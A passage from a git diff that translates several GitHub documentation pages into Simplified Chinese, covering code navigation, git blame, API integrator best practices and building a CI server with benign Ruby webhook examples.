 |:----------:|:----------------------------:|:-----------------------:|
-| C#         | ✅                           |                         |
-| CodeQL     | ✅                           |                         |
-| Go         | ✅                           |                         |
-| Java       | ✅                           |                         |
-| JavaScript | ✅                           |                         |
-| PHP        | ✅                           |                         |
-| Python     | ✅                           | ✅                      |
-| Ruby       | ✅                           |                         |
-| TypeScript | ✅                           |                         |
+|     C#     |              ✅               |                         |
+|   CodeQL   |              ✅               |                         |
+|     Go     |              ✅               |                         |
+|    Java    |              ✅               |                         |
+| JavaScript |              ✅               |                         |
+|    PHP     |              ✅               |                         |
+|   Python   |              ✅               |            ✅            |
+|    Ruby    |              ✅               |                         |
+| TypeScript |              ✅               |                         |
 
 
 You do not need to configure anything in your repository to enable code navigation. We will automatically extract search-based and precise code navigation information for these supported languages in all repositories and you can switch between the two supported code navigation approaches if your programming language is supported by both.
@@ -44,17 +45,17 @@ To learn more about these approaches, see "[Precise and search-based navigation]
 
 Future releases will add *precise code navigation* for more languages, which is a code navigation approach that can give more accurate results.
 
-## Jumping to the definition of a function or method
+## 跳至功能或方法的定义
 
-You can jump to a function or method's definition within the same repository by clicking the function or method call in a file.
+您可以在文件中单击函数或方法调用，跳至同一仓库中该函数或方法的定义。
 
-![Jump-to-definition tab](/assets/images/help/repository/jump-to-definition-tab.png)
+![跳至定义选项卡](/assets/images/help/repository/jump-to-definition-tab.png)
 
-## Finding all references of a function or method
+## 查找函数或方法的所有引用
 
-You can find all references for a function or method within the same repository by clicking the function or method call in a file, then clicking the **References** tab.
+您可以在文件中单击函数或方法调用，然后单击 **References（引用）**选项卡，查找同一仓库中该函数或方法的所有引用。
 
-![Find all references tab](/assets/images/help/repository/find-all-references-tab.png)
+![查找所有引用选项卡](/assets/images/help/repository/find-all-references-tab.png)
 
 ## Precise and search-based navigation
 
@@ -72,5 +73,5 @@ If code navigation is enabled for you but you don't see links to the definitions
 - Code navigation only works for active branches. Push to the branch and try again.
 - Code navigation only works for repositories with fewer than 100,000 files.
 
-## Further reading
-- "[Searching code](/github/searching-for-information-on-github/searching-code)"
+## 延伸阅读
+- “[搜索代码](/github/searching-for-information-on-github/searching-code)”
diff --git a/translations/zh-CN/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md b/translations/zh-CN/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md
index 2aa33de78a..5b68b8b7df 100644
--- a/translations/zh-CN/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md
+++ b/translations/zh-CN/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md
@@ -1,6 +1,6 @@
 ---
-title: Tracking changes in a file
-intro: You can trace changes to lines in a file and discover how parts of the file evolved over time.
+title: 跟踪文件中的更改
+intro: 您可以跟踪对文件中各行的更改，了解文件的各部分如何随着时间推移而发生变化。
 redirect_from:
   - /articles/using-git-blame-to-trace-changes-in-a-file
   - /articles/tracing-changes-in-a-file
@@ -14,25 +14,24 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Track file changes
+shortTitle: 跟踪文件更改
 ---
-With the blame view, you can view the line-by-line revision history for an entire file, or view the revision history of a single line within a file by clicking {% octicon "versions" aria-label="The prior blame icon" %}. Each time you click {% octicon "versions" aria-label="The prior blame icon" %}, you'll see the previous revision information for that line, including who committed the change and when.
 
-![Git blame view](/assets/images/help/repository/git_blame.png)
+使用追溯视图时，您可以查看整个文件的逐行修订历史记录，也可以通过单击 {% octicon "versions" aria-label="The prior blame icon" %} 查看文件中某一行的修订历史记录。 每次单击 {% octicon "versions" aria-label="The prior blame icon" %} 后，您将看到该行以前的修订信息，包括提交更改的人员和时间。
 
-In a file or pull request, you can also use the {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %} menu to view Git blame for a selected line or range of lines.
+![Git 追溯视图](/assets/images/help/repository/git_blame.png)
 
-![Kebab menu with option to view Git blame for a selected line](/assets/images/help/repository/view-git-blame-specific-line.png)
+在文件或拉取请求中，您还可以使用 {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %} 菜单查看所选行或行范围的 Git 追溯。
+
+![带有查看所选行 Git 追溯选项的 Kebab 菜单](/assets/images/help/repository/view-git-blame-specific-line.png)
 
 {% tip %}
 
-**Tip:** On the command line, you can also use `git blame` to view the revision history of lines within a file. For more information, see [Git's `git blame` documentation](https://git-scm.com/docs/git-blame).
+**提示：**在命令行中，您还可以使用 `git blame` 查看文件内各行的修订历史记录。 更多信息请参阅 [Git 的 `git blame` 文档](https://git-scm.com/docs/git-blame)。
 
 {% endtip %}
 
 {% data reusables.repositories.navigate-to-repo %}
-2. Click to open the file whose line history you want to view.
-3. In the upper-right corner of the file view, click **Blame** to open the blame view.
-![Blame button](/assets/images/help/repository/blame-button.png)
-4. To see earlier revisions of a specific line, or reblame, click {% octicon "versions" aria-label="The prior blame icon" %} until you've found the changes you're interested in viewing.
-![Prior blame button](/assets/images/help/repository/prior-blame-button.png)
+2. 单击以打开您想要查看其行历史记录的文件。
+3. 在文件视图的右上角，单击 **Blame（追溯）**可打开追溯视图。 ![追溯按钮](/assets/images/help/repository/blame-button.png)
+4. 要查看特定行的早期修订，或重新追溯，请单击 {% octicon "versions" aria-label="The prior blame icon" %}，直至找到您有兴趣查看的更改。 ![追溯前按钮](/assets/images/help/repository/prior-blame-button.png)
diff --git a/translations/zh-CN/content/rest/guides/best-practices-for-integrators.md b/translations/zh-CN/content/rest/guides/best-practices-for-integrators.md
index 7ad5e448ca..45f3ac6d3b 100644
--- a/translations/zh-CN/content/rest/guides/best-practices-for-integrators.md
+++ b/translations/zh-CN/content/rest/guides/best-practices-for-integrators.md
@@ -1,6 +1,6 @@
 ---
-title: Best practices for integrators
-intro: 'Build an app that reliably interacts with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API and provides the best experience for your users.'
+title: 集成者最佳实践
+intro: '构建一个能够可靠地与 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 进行交互并为您的用户提供最佳体验。'
 redirect_from:
   - /guides/best-practices-for-integrators
   - /v3/guides/best-practices-for-integrators
@@ -11,63 +11,63 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Integrator best practices
+shortTitle: 综合最佳实践
 ---
 
 
-Interested in integrating with the GitHub platform? [You're in good company](https://github.com/integrations). This guide will help you build an app that provides the best experience for your users *and* ensure that it's reliably interacting with the API. 
+有兴趣与 GitHub 平台集成吗？ [与您志趣相投的大有人在](https://github.com/integrations)。 本指南将帮助您构建能够为用户提供最佳体验*并*确保与 API 进行可靠交互的应用程序。
 
-## Secure payloads delivered from GitHub
+## 确保安全接收从 GitHub 交付的有效负载
 
-It's very important that you secure [the payloads sent from GitHub][event-types]. Although no personal information (like passwords) is ever transmitted in a payload, leaking *any* information is not good. Some information that might be sensitive include committer email address or the names of private repositories.
+确保安全接收[从 GitHub 发送的有效负载][event-types]非常重要。 虽然有效负载中不会传输个人信息，但泄露*任何*信息总是不好的。 有些信息可能比较敏感，包括提交者电子邮件地址或私有仓库的名称。
 
-There are several steps you can take to secure receipt of payloads delivered by GitHub:
+您可以采取以下几个步骤来确保安全接收由 GitHub 交付的工作负载：
 
-1. Ensure that your receiving server is on an HTTPS connection. By default, GitHub will verify SSL certificates when delivering payloads.{% ifversion fpt or ghec %}
-1. You can add [the IP address we use when delivering hooks](/github/authenticating-to-github/about-githubs-ip-addresses) to your server's allow list. To ensure that you're always checking the right IP address, you can [use the `/meta` endpoint](/rest/reference/meta#meta) to find the address we use.{% endif %}
-1. Provide [a secret token](/webhooks/securing/) to ensure payloads are definitely coming from GitHub. By enforcing a secret token, you're ensuring that any data received by your server is absolutely coming from GitHub. Ideally, you should provide a different secret token *per user* of your service. That way, if one token is compromised, no other user would be affected.
+1. 确保您的接收服务器在 HTTPS 连接上。 默认情况下，GitHub 在交付有效负载时会验证 SSL 证书。{% ifversion fpt or ghec %}
+1. 您可以将[我们在交付挂钩时使用的 IP 地址](/github/authenticating-to-github/about-githubs-ip-addresses)添加到服务器的允许列表中。 为确保始终检查 IP 地址是否正确，您可以[使用 `/meta` 端点](/rest/reference/meta#meta)查找我们使用的地址。{% endif %}
+1. 提供[密钥令牌](/webhooks/securing/)以确保有效负载肯定来自 GitHub。 通过实施密钥令牌，您可以确保服务器接收的任何数据绝对来自 GitHub。 理想情况下，您应该为您服务的*每个用户*都提供一个不同的密钥令牌。 这样，即使某个令牌被泄露，也不至于影响其他用户。
 
-## Favor asynchronous work over synchronous
+## 支持异步工作而非同步工作
 
-GitHub expects that integrations respond within {% ifversion fpt or ghec %}10{% else %}30{% endif %} seconds of receiving the webhook payload. If your service takes longer than that to complete, then GitHub terminates the connection and the payload is lost.
+GitHub 要求在收到 web 挂钩有效负载后 {% ifversion fpt or ghec %}10{% else %}30{% endif %} 秒内做出集成响应。 如果您的服务需要更长的时间才能完成，则 GitHub 将终止连接，并且有效负载将丢失。
 
-Since it's impossible to predict how fast your service will complete, you should do all of "the real work" in a background job. [Resque](https://github.com/resque/resque/) (for Ruby), [RQ](http://python-rq.org/) (for Python), or [RabbitMQ](http://www.rabbitmq.com/) (for Java) are examples of libraries that can handle queuing and processing of background jobs.
+由于无法预测您的服务完成速度，因此您应该在后台作业中执行所有“实际工作”。 [Resque](https://github.com/resque/resque/)（用于 Ruby）、[RQ](http://python-rq.org/)（用于 Python）或 [RabbitMQ](http://www.rabbitmq.com/)（用于 Java）是可以排队和处理后台作业的典型库。
 
-Note that even with a background job running, GitHub still expects your server to respond within {% ifversion fpt or ghec %}ten{% else %}thirty{% endif %} seconds. Your server needs to acknowledge that it received the payload by sending some sort of response. It's critical that your service performs any validations on a payload as soon as possible, so that you can accurately report whether your server will continue with the request or not.
+请注意，即使在后台作业中执行工作，GitHub 仍要求您的服务器能够在{% ifversion fpt or ghec %}十{% else %}三十{% endif %}秒内做出响应。 您的服务器需要通过发送某种响应来确认它收到了有效负载。 您的服务必须尽快对有效负载执行任何验证，以便您能够准确地报告您的服务器是否会继续处理请求。
 
-## Use appropriate HTTP status codes when responding to GitHub
+## 响应 GitHub 时使用适当的 HTTP 状态代码
 
-Every webhook has its own "Recent Deliveries" section, which lists whether a deployment was successful or not.
+每个 web 挂钩都有自己的“最近交付”部分，其中列出了部署是否成功。
 
-![Recent Deliveries view](/assets/images/webhooks_recent_deliveries.png)
+![最近交付视图](/assets/images/webhooks_recent_deliveries.png)
 
-You should make use of proper HTTP status codes in order to inform users. You can use codes like `201` or `202` to acknowledge receipt of payload that won't be processed (for example, a payload delivered by a branch that's not the default). Reserve the `500` error code for catastrophic failures.
+您应该使用适当的 HTTP 状态代码来通知用户。 您可以使用 `201` 或 `202` 等代码来确认收到了不会处理的有效负载（例如，非默认分支交付的有效负载）。 将 `500` 错误代码预留给灾难性故障。
 
-## Provide as much information as possible to the user
+## 向用户提供尽可能多的信息
 
-Users can dig into the server responses you send back to GitHub. Ensure that your messages are clear and informative.
+用户可能会深入研究您发回 GitHub 的服务器响应。 请确保您的信息清晰明了。
 
-![Viewing a payload response](/assets/images/payload_response_tab.png)
+![查看有效负载响应](/assets/images/payload_response_tab.png)
 
-## Follow any redirects that the API sends you
+## 遵循 API 发送给您的任何重定向
 
-GitHub is explicit in telling you when a resource has moved by providing a redirect status code. You should follow these redirections. Every redirect response sets the `Location` header with the new URI to go to. If you receive a redirect, it's best to update your code to follow the new URI, in case you're requesting a deprecated path that we might remove.
+GitHub 在资源发生移动时会通过提供重定向状态代码来明确告诉您。 您应该遵循这些重定向。 每个重定向响应都使用要转到的新 URI 来设置 `Location` 标头。 如果您收到了重定向，最好更新代码以遵循新的 URI，以防您请求我们可能已删除的无效路径。
 
-We've provided [a list of HTTP status codes](/rest#http-redirects) to watch out for when designing your app to follow redirects.
+我们提供了 [HTTP 状态代码列表](/rest#http-redirects)，供您在设计应用程序时参考以便遵循重定向。
 
-## Don't manually parse URLs
+## 不要手动解析 URL
 
-Often, API responses contain data in the form of URLs. For example, when requesting a repository, we'll send a key called `clone_url` with a URL you can use to clone the repository.
+通常，API 响应包含 URL 形式的数据。 例如，当请求仓库时，我们会发送一个名为 `clone_url` 的键，其中包含可用来克隆仓库的 URL。
 
-For the stability of your app, you shouldn't try to parse this data or try to guess and construct the format of future URLs. Your app is liable to break if we decide to change the URL.
+为了应用程序的稳定性，您不应该尝试解析此数据，或者尝试猜测并构造未来 URL 的格式。 否则，如果我们决定更改该 URL，您的应用程序可能会中断。
 
-For example, when working with paginated results, it's often tempting to construct URLs that append `?page=<number>` to the end. Avoid that temptation. [Our guide on pagination](/guides/traversing-with-pagination) offers some safe tips on dependably following paginated results.
+例如，在处理分页结果时， 往往很想构造 URL - 在末尾追加 `?page=<number>`。 要抑制这种冲动。 [我们的分页指南](/guides/traversing-with-pagination)提供了一些关于可靠跟踪分页结果的安全提示。
 
-## Check the event type and action before processing the event
+## 在处理事件之前检查事件类型和操作
 
-There are multiple [webhook event types][event-types], and each event can have multiple actions. As GitHub's feature set grows, we will occasionally add new event types or add new actions to existing event types. Ensure that your application explicitly checks the type and action of an event before doing any webhook processing. The `X-GitHub-Event` request header can be used to know which event has been received so that processing can be handled appropriately. Similarly, the payload has a top-level `action` key that can be used to know which action was taken on the relevant object.
+有多种 [web 挂钩事件类型][event-types]，并且每个事件可以有多个操作。 随着 GitHub 功能集的增长，我们会不时添加新的事件类型或向现有事件类型添加新的操作。 请确保您的应用程序在进行任何 web 挂钩处理之前明确检查事件的类型和操作。 `X-GitHub-Event` 请求标头可用于了解收到了哪个事件，以便进行适当处理。 同样，有效负载具有顶层 `action` 键，可用于了解对相关对象采取了哪些操作。
 
-For example, if you have configured a GitHub webhook to "Send me **everything**", your application will begin receiving new event types and actions as they are added. It is therefore **not recommended to use any sort of catch-all else clause**. Take the following code example:
+例如，如果您已将 GitHub web 挂钩配置为“向我发送**所有内容**”，则在添加新的事件类型和操作时，您的应用程序就会开始接收它们。 因此，**不建议使用任何类型的 catch-all else 子句**。 以下面的代码为例：
 
 ```ruby
 # Not recommended: a catch-all else clause
@@ -86,9 +86,9 @@ def receive
 end
 ```
 
-In this code example, the `process_repository` and `process_issues` methods will be correctly called if a `repository` or `issues` event was received. However, any other event type would result in `process_pull_requests` being called. As new event types are added, this would result in incorrect behavior and new event types would be processed in the same way that a `pull_request` event would be processed.
+在此代码实例中，如果收到 `repository` 或 `issues` 事件，将会正确调用 `process_repository` 和 `process_issues` 方法。 但是，任何其他事件类型都会导致调用 `process_pull_requests`。 当添加新的事件类型时，这将导致不正确的行为 - 将以处理 `pull_request` 事件的方式来处理新的事件类型。
 
-Instead, we suggest explicitly checking event types and acting accordingly. In the following code example, we explicitly check for a `pull_request` event and the `else` clause simply logs that we've received a new event type:
+因此，我们建议明确检查事件类型并采取相应行动。 在以下代码示例中，我们明确检查 `pull_request` 事件，而 `else` 子句仅记录我们已收到新事件类型：
 
 ```ruby
 # Recommended: explicitly check each event type
@@ -109,9 +109,9 @@ def receive
 end
 ```
 
-Because each event can also have multiple actions, it's recommended that actions are checked similarly. For example, the [`IssuesEvent`](/webhooks/event-payloads/#issues) has several possible actions. These include `opened` when the issue is created, `closed` when the issue is closed, and `assigned` when the issue is assigned to someone.
+由于每个事件也可以有多个操作，因此建议对操作进行类似的检查。 例如，[`IssuesEvent`](/webhooks/event-payloads/#issues) 可能有几个操作。 其中包括创建议题时的 `opened`、关闭议题时的 `closed`以及将议题分配给某人时的 `assigned`。
 
-As with adding event types, we may add new actions to existing events. It is therefore again **not recommended to use any sort of catch-all else clause** when checking an event's action. Instead, we suggest explicitly checking event actions as we did with the event type. An example of this looks very similar to what we suggested for event types above:
+与添加事件类型一样，我们可以向现有事件添加新操作。 因此，再次强调，在检查事件的操作时**不要使用任何类型的 catch-all else 子句**。 相反，我们建议像检查事件类型一样明确检查事件操作。 下面的示例非常吻合我们在上文中针对事件类型的建议：
 
 ```ruby
 # Recommended: explicitly check each action
@@ -129,47 +129,40 @@ def process_issue(payload)
 end
 ```
 
-In this example the `closed` action is checked first before calling the `process_closed` method. Any unidentified actions are logged for future reference.
+在此示例中，在调用 `process_closed` 方法之前会先检查 `closed` 操作。 任何未识别的操作都会被记录以供将来参考。
 
 {% ifversion fpt or ghec %}
 
-## Dealing with rate limits
+## 处理速率限制
 
-The GitHub API [rate limit](/rest/overview/resources-in-the-rest-api#rate-limiting) ensures that the API is fast and available for everyone.
+GitHub API [速率限制](/rest/overview/resources-in-the-rest-api#rate-limiting)旨在确保 API 快速供每个人使用。
 
-If you hit a rate limit, it's expected that you back off from making requests and try again later when you're permitted to do so. Failure to do so may result in the banning of your app.
+如果您达到了速率限制，则应该停止发出请求，然后在允许的时候再试。 否则，可能会导致您的应用程序被禁用。
 
-You can always [check your rate limit status](/rest/reference/rate-limit) at any time. Checking your rate limit incurs no cost against your rate limit.
+您可以随时[检查您的速率限制状态](/rest/reference/rate-limit)。 检查您的速率限制状态对您的速率限制不会产生任何影响。
 
-## Dealing with secondary rate limits
+## 处理二级费率限制
 
-[Secondary rate limits](/rest/overview/resources-in-the-rest-api#secondary-rate-limits) are another way we ensure the API's availability.
-To avoid hitting this limit, you should ensure your application follows the guidelines below.
+[二级费率限制](/rest/overview/resources-in-the-rest-api#secondary-rate-limits)是我们确保 API 可用性的另一种方式。 为了避免达到此限制，应确保您的应用程序遵循以下准则。
 
-* Make authenticated requests, or use your application's client ID and secret. Unauthenticated
-  requests are subject to more aggressive secondary rate limiting.
-* Make requests for a single user or client ID serially. Do not make requests for a single user
-  or client ID concurrently.
-* If you're making a large number of `POST`, `PATCH`, `PUT`, or `DELETE` requests for a single user
-  or client ID, wait at least one second between each request.
-* When you have been limited, use the `Retry-After` response header to slow down. The value of the
-  `Retry-After` header will always be an integer, representing the number of seconds you should wait
-  before making requests again. For example, `Retry-After: 30` means you should wait 30 seconds
-  before sending more requests.
-* Requests that create content which triggers notifications, such as issues, comments and pull requests,
-  may be further limited and will not include a `Retry-After` header in the response. Please create this
-  content at a reasonable pace to avoid further limiting.
+* 发出经过身份验证的请求，或使用应用程序的客户端 ID 和密钥。 未经身份验证的请求会受到更严格的二级费率限制。
+* 依次为单个用户或客户端 ID 发出请求。 不要同时为单个用户或客户端 ID 发出多个请求。
+* 如果您要为单个用户或客户端 ID 发出大量的 `POST`、`PATCH`、`PUT` 或 `DELETE` 请求，则每两个请求之间至少应间隔一秒钟。
+* 当您受到限制时，请使用 `Retry-After` 响应标头来降低速率。 `Retry-After` 标头的值始终为整数，表示您在再次发出请求之前应等待的秒数。 例如，`Retry-After: 30` 表示您在发出更多请求之前应等待 30 秒。
+* 会触发通知的内容创建请求，例如议题、评论和拉取请求，可能会受到进一步限制，并且在响应中不包含 `Retry-After` 标头。 请以合理的速率创建此类内容，以避免受到进一步限制。
 
-We reserve the right to change these guidelines as needed to ensure availability.
+我们保留根据需要更改这些准则以确保可用性的权利。
 
 {% endif %}
 
-## Dealing with API errors
+## 处理 API 错误
 
-Although your code would never introduce a bug, you may find that you've encountered successive errors when trying to access the API.
+尽管您的代码从未引入漏洞，但您可能会发现在尝试访问 API 时遇到连续错误。
 
-Rather than ignore repeated `4xx` and `5xx` status codes, you should ensure that you're correctly interacting with the API. For example, if an endpoint requests a string and you're passing it a numeric value, you're going to receive a `5xx` validation error, and your call won't succeed. Similarly, attempting to access an unauthorized or nonexistent endpoint will result in a `4xx` error.
+您应该确保与 API 正确交互，而不是忽略重复的 `4xx` 和 `5xx` 状态代码。 例如，如果某个端点请求一个字符串，而您向其传递一个数值，则您将会收到 `5xx` 验证错误，并且您的调用不会成功。 同样，试图访问未经授权或不存在的端点会导致 `4xx` 错误。
 
-Intentionally ignoring repeated validation errors may result in the suspension of your app for abuse.
+故意忽略重复的验证错误可能会导致您的应用程序因滥用而被暂停。
+
+[event-types]: /webhooks/event-payloads
 
 [event-types]: /webhooks/event-payloads
diff --git a/translations/zh-CN/content/rest/guides/building-a-ci-server.md b/translations/zh-CN/content/rest/guides/building-a-ci-server.md
index dbcec20196..25f48872e9 100644
--- a/translations/zh-CN/content/rest/guides/building-a-ci-server.md
+++ b/translations/zh-CN/content/rest/guides/building-a-ci-server.md
@@ -1,6 +1,6 @@
 ---
-title: Building a CI server
-intro: Build your own CI system using the Status API.
+title: 构建 CI 服务器
+intro: 使用状态 API 构建您自己的 CI 系统。
 redirect_from:
   - /guides/building-a-ci-server
   - /v3/guides/building-a-ci-server
@@ -15,31 +15,22 @@ topics:
 
 
 
-The [Status API][status API] is responsible for tying together commits with
-a testing service, so that every push you make can be tested and represented
-in a {% data variables.product.product_name %} pull request.
+[状态 API][status API] 负责将提交与测试服务绑定在一起，使您进行的每次推送都可以得到测试并表现在 {% data variables.product.product_name %} 拉取请求中。
 
-This guide will use that API to demonstrate a setup that you can use.
-In our scenario, we will:
+本指南将使用该 API 来演示您可以使用的设置。 在我们的场景中，我们将：
 
-* Run our CI suite when a Pull Request is opened (we'll set the CI status to pending).
-* When the CI is finished, we'll set the Pull Request's status accordingly.
+* 在拉取请求被打开时运行我们的 CI 套件（我们将 CI 状态设置为待处理）。
+* 在 CI 完成后，我们将相应地设置拉取请求的状态。
 
-Our CI system and host server will be figments of our imagination. They could be
-Travis, Jenkins, or something else entirely. The crux of this guide will be setting up
-and configuring the server managing the communication.
+我们的 CI 系统和主机服务器将是我们想象中的虚拟物。 它们可能是 Travis、Jenkins 或其他完全不同的工具。 本指南的重点是设置和配置负责管理通信的服务器。
 
-If you haven't already, be sure to [download ngrok][ngrok], and learn how
-to [use it][using ngrok]. We find it to be a very useful tool for exposing local
-connections.
+请务必[下载 ngrok][ngrok]（如果尚未下载），并了解如何[使用它][using ngrok]。 我们发现它在暴露本地连接方面是一款非常有用的工具。
 
-Note: you can download the complete source code for this project
-[from the platform-samples repo][platform samples].
+注：您可以[从平台样本仓库][platform samples]下载此项目的完整源代码。
 
-## Writing your server
+## 编写服务器
 
-We'll write a quick Sinatra app to prove that our local connections are working.
-Let's start with this:
+我们将编写一个快速的 Sinatra 应用程序，以证明我们的本地连接工作正常。 首先编写以下代码：
 
 ``` ruby
 require 'sinatra'
@@ -51,29 +42,20 @@ post '/event_handler' do
 end
 ```
 
-(If you're unfamiliar with how Sinatra works, we recommend [reading the Sinatra guide][Sinatra].)
+（如果您不熟悉 Sinatra 的工作方式，建议您阅读 [ Sinatra 指南][Sinatra]）。
 
-Start this server up. By default, Sinatra starts on port `4567`, so you'll want
-to configure ngrok to start listening for that, too.
+启动此服务器。 默认情况下，Sinatra 在端口 `4567` 上启动，因此您还需要配置 ngrok 开始监听。
 
-In order for this server to work, we'll need to set a repository up with a webhook.
-The webhook should be configured to fire whenever a Pull Request is created, or merged.
-Go ahead and create a repository you're comfortable playing around in. Might we
-suggest [@octocat's Spoon/Knife repository](https://github.com/octocat/Spoon-Knife)?
-After that, you'll create a new webhook in your repository, feeding it the URL
-that ngrok gave you, and choosing `application/x-www-form-urlencoded` as the
-content type:
+为了使此服务器正常工作，我们需要使用 web 挂钩来设置一个仓库。 Web 挂钩应配置为在创建或合并拉取请求时触发。 继续创建一个您可以自由支配的仓库。 我们可以推荐 [@octocat 的 Spoon/Knife 仓库](https://github.com/octocat/Spoon-Knife)吗？ 之后，您将在自己的仓库中创建新的 web 挂钩，向其馈送 ngrok 给您的 URL，并选择 `application/x-www-form-urlencoded` 作为内容类型：
 
-![A new ngrok URL](/assets/images/webhook_sample_url.png)
+![新的 ngrok URL](/assets/images/webhook_sample_url.png)
 
-Click **Update webhook**. You should see a body response of `Well, it worked!`.
-Great! Click on **Let me select individual events**, and select the following:
+单击 **Update webhook**。 您应该会看到正文为 `Well, it worked!` 的响应。 太好了！ 单击 **Let me select individual events（让我选择单个事件）**，然后选择以下项：
 
-* Status
-* Pull Request
+* 状态
+* 拉取请求
 
-These are the events {% data variables.product.product_name %} will send to our server whenever the relevant action
-occurs. Let's update our server to *just* handle the Pull Request scenario right now:
+在发生相关操作时，{% data variables.product.product_name %} 会将这些事件发送到我们的服务器。 我们来将服务器更新为*仅*立即处理拉取请求场景：
 
 ``` ruby
 post '/event_handler' do
@@ -94,26 +76,15 @@ helpers do
 end
 ```
 
-What's going on? Every event that {% data variables.product.product_name %} sends out attached a `X-GitHub-Event`
-HTTP header. We'll only care about the PR events for now. From there, we'll
-take the payload of information, and return the title field. In an ideal scenario,
-our server would be concerned with every time a pull request is updated, not just
-when it's opened. That would make sure that every new push passes the CI tests.
-But for this demo, we'll just worry about when it's opened.
+发生了什么？ {% data variables.product.product_name %} 发送的每个事件都附有 `X-GitHub-Event` HTTP 标头。 我们现在只关注拉取请求事件。 我们将从其中获取信息的有效负载，并返回标题字段。 在理想情况下，我们的服务器会关注每次更新拉取请求时的情况（而不仅仅是打开时的情况）。 这将确保每个新推送都通过 CI 测试。 但就此演示而言，我们只需关注它被打开时的情况。
 
-To test out this proof-of-concept, make some changes in a branch in your test
-repository, and open a pull request. Your server should respond accordingly!
+要测试此概念验证，请在测试仓库的分支中进行一些更改，然后打开拉取请求。 您的服务器应该会做出相应的响应！
 
-## Working with statuses
+## 处理状态
 
-With our server in place, we're ready to start our first requirement, which is
-setting (and updating) CI statuses. Note that at any time you update your server,
-you can click **Redeliver** to send the same payload. There's no need to make a
-new pull request every time you make a change!
+服务器就位后，我们就可以开始实现第一个要求，即设置（和更新）CI 状态。 请注意，无论何时更新服务器，都可以单击 **Redeliver（重新交付）**以发送相同的有效负载。 不需要每次进行更改时都发出新的拉取请求！
 
-Since we're interacting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll use [Octokit.rb][octokit.rb]
-to manage our interactions. We'll configure that client with
-[a personal access token][access token]:
+由于我们在与 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 进行交互，因此我们将使用 [Octokit.rb][octokit.rb] 来管理我们的交互。 我们将配置该客户端：
 
 ``` ruby
 # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
@@ -125,8 +96,7 @@ before do
 end
 ```
 
-After that, we'll just need to update the pull request on {% data variables.product.product_name %} to make clear
-that we're processing on the CI:
+之后，我们只需要在 {% data variables.product.product_name %} 上更新拉取请求以明确表示我们正在处理 CI：
 
 ``` ruby
 def process_pull_request(pull_request)
@@ -135,16 +105,13 @@ def process_pull_request(pull_request)
 end
 ```
 
-We're doing three very basic things here:
+我们在这里做三件非常基本的事情：
 
-* we're looking up the full name of the repository
-* we're looking up the last SHA of the pull request
-* we're setting the status to "pending"
+* 查找仓库的全名
+* 查找拉取请求的最后一个 SHA
+* 将状态设置为“待处理”
 
-That's it! From here, you can run whatever process you need to in order to execute
-your test suite. Maybe you're going to pass off your code to Jenkins, or call
-on another web service via its API, like [Travis][travis api]. After that, you'd
-be sure to update the status once more. In our example, we'll just set it to `"success"`:
+搞定！ 从这里，您可以运行任何需要的进程来执行测试套件。 也许您会将代码传递给 Jenkins，或者通过其 API 调用另一个 web 服务，例如 [Travis][travis api]。 之后，请务必再次更新状态。 在我们的示例中，我们将其设置为 `"success"`：
 
 ``` ruby
 def process_pull_request(pull_request)
@@ -153,33 +120,24 @@ def process_pull_request(pull_request)
   @client.create_status(pull_request['base']['repo']['full_name'], pull_request['head']['sha'], 'success')
   puts "Pull request processed!"
 end
-``` 
+```
 
-## Conclusion
+## 结论
 
-At GitHub, we've used a version of [Janky][janky] to manage our CI for years.
-The basic flow is essentially the exact same as the server we've built above.
-At GitHub, we:
+在 GitHub，我们多年来一直使用 [Janky][janky] 版本来管理 CI。 基本流程本质上与我们上面构建的服务器完全相同。 在 GitHub，我们：
 
-* Fire to Jenkins when a pull request is created or updated (via Janky)
-* Wait for a response on the state of the CI
-* If the code is green, we merge the pull request
+* 在创建或更新（通过 Janky）时触发 Jenkins
+* 等待关于 CI 状态的响应
+* 如果代码为绿色，我们将合并拉取请求
 
-All of this communication is funneled back to our chat rooms. You don't need to
-build your own CI setup to use this example.
-You can always rely on [GitHub integrations][integrations].
+所有这些通信都会流回我们的聊天室。 使用此示例并不需要构建自己的 CI 设置。 您始终可以依赖 [GitHub 集成][integrations]。
 
-[deploy API]: /rest/reference/repos#deployments
 [status API]: /rest/reference/repos#statuses
 [ngrok]: https://ngrok.com/
 [using ngrok]: /webhooks/configuring/#using-ngrok
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/building-a-ci-server
 [Sinatra]: http://www.sinatrarb.com/
-[webhook]: /webhooks/
 [octokit.rb]: https://github.com/octokit/octokit.rb
-[access token]: /articles/creating-an-access-token-for-command-line-use
 [travis api]: https://api.travis-ci.org/docs/
 [janky]: https://github.com/github/janky
-[heaven]: https://github.com/atmos/heaven
-[hubot]: https://github.com/github/hubot
 [integrations]: https://github.com/integrations
diff --git a/translations/zh-CN/content/rest/guides/delivering-deployments.md b/translations/zh-CN/content/rest/guides/delivering-deployments.md
index 13ad16c3da..b3cf0bdffe 100644
--- a/translations/zh-CN/content/rest/guides/delivering-deployments.md
+++ b/translations/zh-CN/content/rest/guides/delivering-deployments.md
@@ -1,6 +1,6 @@
 ---
-title: Delivering deployments
-intro: 'Using the Deployments REST API, you can build custom tooling that interacts with your server and a third-party app.'
+title: 交付部署
+intro: 使用部署 REST API，您可以构建与您的服务器和第三方应用程序交互的自定义工具。
 redirect_from:
   - /guides/delivering-deployments
   - /guides/automating-deployments-to-integrators
@@ -16,33 +16,23 @@ topics:
  
   
 
-The [Deployments API][deploy API] provides your projects hosted on {% data variables.product.product_name %} with
-the capability to launch them on a server that you own. Combined with
-[the Status API][status API], you'll be able to coordinate your deployments
-the moment your code lands on the default branch.
